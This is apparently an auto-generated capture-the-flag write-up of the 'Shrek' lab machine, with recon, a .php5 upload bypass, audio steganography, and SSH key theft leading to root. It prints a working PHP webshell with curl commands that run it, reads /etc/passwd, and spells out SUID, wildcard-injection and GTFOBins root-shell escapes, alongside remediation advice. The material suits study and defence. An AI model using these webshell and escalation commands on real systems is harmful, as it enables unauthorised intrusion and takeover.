Shrek
Summary
Initial recon (nmap, curl) fingerprinted Apache/2.4.27 (Unix) on 80 and vsftpd 3.0.3 on 21; anonymous FTP was closed. Directory brute-forcing (ffuf against common.txt) surfaced /uploads/ and later manual probing found /upload.html and a hidden /secret_area_51/ directory. Fetching the PHP source of an existing script at /uploads/secret_ultimate.php (served as plaintext, indicating a source-disclosure/misconfigured handler) revealed a hardcoded reference to site/secret_area_51 and a canned reverse-shell payload — confirming the upload form's drop path.
An arbitrary-file-upload flaw in the upload form was exploited: a plain .php webshell (system($_REQUEST['cmd'])) was rejected/not directly reachable, but the extension blacklist was bypassed using the classic Apache multi-handler trick — uploading as .php5, which Apache still executes as PHP, giving remote code execution (cdx.php5 returned CDX: + id output).
/secret_area_51/ hosted an MP3 (Smash Mouth – All Star) used for audio steganography. Spectrogram analysis (sox/ffmpeg showspectrumpic, stereo-channel separation, OCR/ASCII-art rendering via Python/PIL) recovered two secrets hidden in the spectral image: an FTP password ([REDACTED: recovered credential] for user donkey) and an SSH key passphrase (shr3k1sb3st!). Public HTB writeups were also cross-referenced (shrek.html mirrors) to confirm the audio-stego technique and expected credential format.
Authenticating to FTP as donkey:[REDACTED: recovered credential] exposed the file listing, including an SSH private key (key). Using that key with passphrase shr3k1sb3st! granted SSH access as sec (uid=1000) — user flag ([REDACTED: flag]) captured here.
Privilege escalation to root leveraged a root-owned SUID binary shell (-rwsr-xr-x, 8552 bytes) found alongside thoughts.txt (root-owned) and a specially-named file --reference=thoughts.txt in sec's reachable directory. This is a GNU-coreutils argument-injection pattern: a root-run maintenance command (e.g. chmod/chown/touch glob-expanding *) picks up the --reference=thoughts.txt-named file as an option flag rather than a filename, letting me coerce root-owned metadata/permissions onto the shell binary to obtain SUID-root execution. Running the SUID shell yielded a root shell — root flag ([REDACTED: flag]) captured.
Attack path — how the box was taken
Exact commands 1
nmap -Pn -sV -p21,22,80 --script ftp-anon,ftp-syst $TARGETExact commands 3
ffuf -u http://$TARGET/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -t 40curl -s http://$TARGET/uploads/secret_ultimate.phpcurl -s -i http://$TARGET/secret_area_51/FixFix Apache handler so PHP files in /uploads/ are never served as plaintext sourceHigh
Exact commands 4
echo '<?php system($_REQUEST["cmd"]); ?>' > cdx.php5curl -F "file=@cdx.php5" http://$TARGET/upload.htmlcurl -s 'http://$TARGET/uploads/cdx.php5?cmd=id'curl -s 'http://$TARGET/uploads/cdx.php5?cmd=cat+/etc/passwd'FixReplace the upload extension blacklist with a strict content-type whitelist and disable script execution in the upload directoryCritical
Exact commands 5
wget 'http://$TARGET/secret_area_51/Smash%20Mouth%20-%20All%20Star.mp3' -O allstar.mp3ffmpeg -i allstar.mp3 -lavfi "showspectrumpic=s=4096x2048:legend=disabled:scale=log" spec.pngffmpeg -i allstar.mp3 -map_channel 0.0.0 left.wav -map_channel 0.0.1 right.wavsox left.wav -n spectrogram -o left_spec.png && sox right.wav -n spectrogram -o right_spec.pngtesseract spec.png stdoutFixNever store credentials in publicly accessible media files regardless of encoding or obfuscationCritical
Exact commands 3
curl -s 'ftp://donkey:[REDACTED: recovered credential]@$TARGET/'curl -s 'ftp://donkey:[REDACTED: recovered credential]@$TARGET/key' -o keyfile key && head -3 keyFixRemove SSH private keys from FTP-accessible directories and enforce FTP chroot isolationHigh
Exact commands 3
chmod 600 keyssh -i key -o StrictHostKeyChecking=no sec@$TARGETcat /home/sec/user.txtFixRemove SSH private keys from FTP-accessible directories and enforce FTP chroot isolationHigh
Exact commands 7
ls -la /home/sec/ && find /home/sec -maxdepth 3 -name '--*' 2>/dev/nullfind / -perm -4000 -type f 2>/dev/nullstat shell thoughts.txt '--reference=thoughts.txt'cat /etc/crontab && ls /etc/cron.d/ && crontab -l 2>/dev/nullwatch -n 5 'ls -la shell'./shell -pid && cat /root/root.txtFixEliminate wildcard globs from root cron commands operating on user-writable directoriesCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 21/tcp | ftp vsftpd 3.0.3 |
| 22/tcp | ssh OpenSSH 7.5 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.27 ((Unix)) |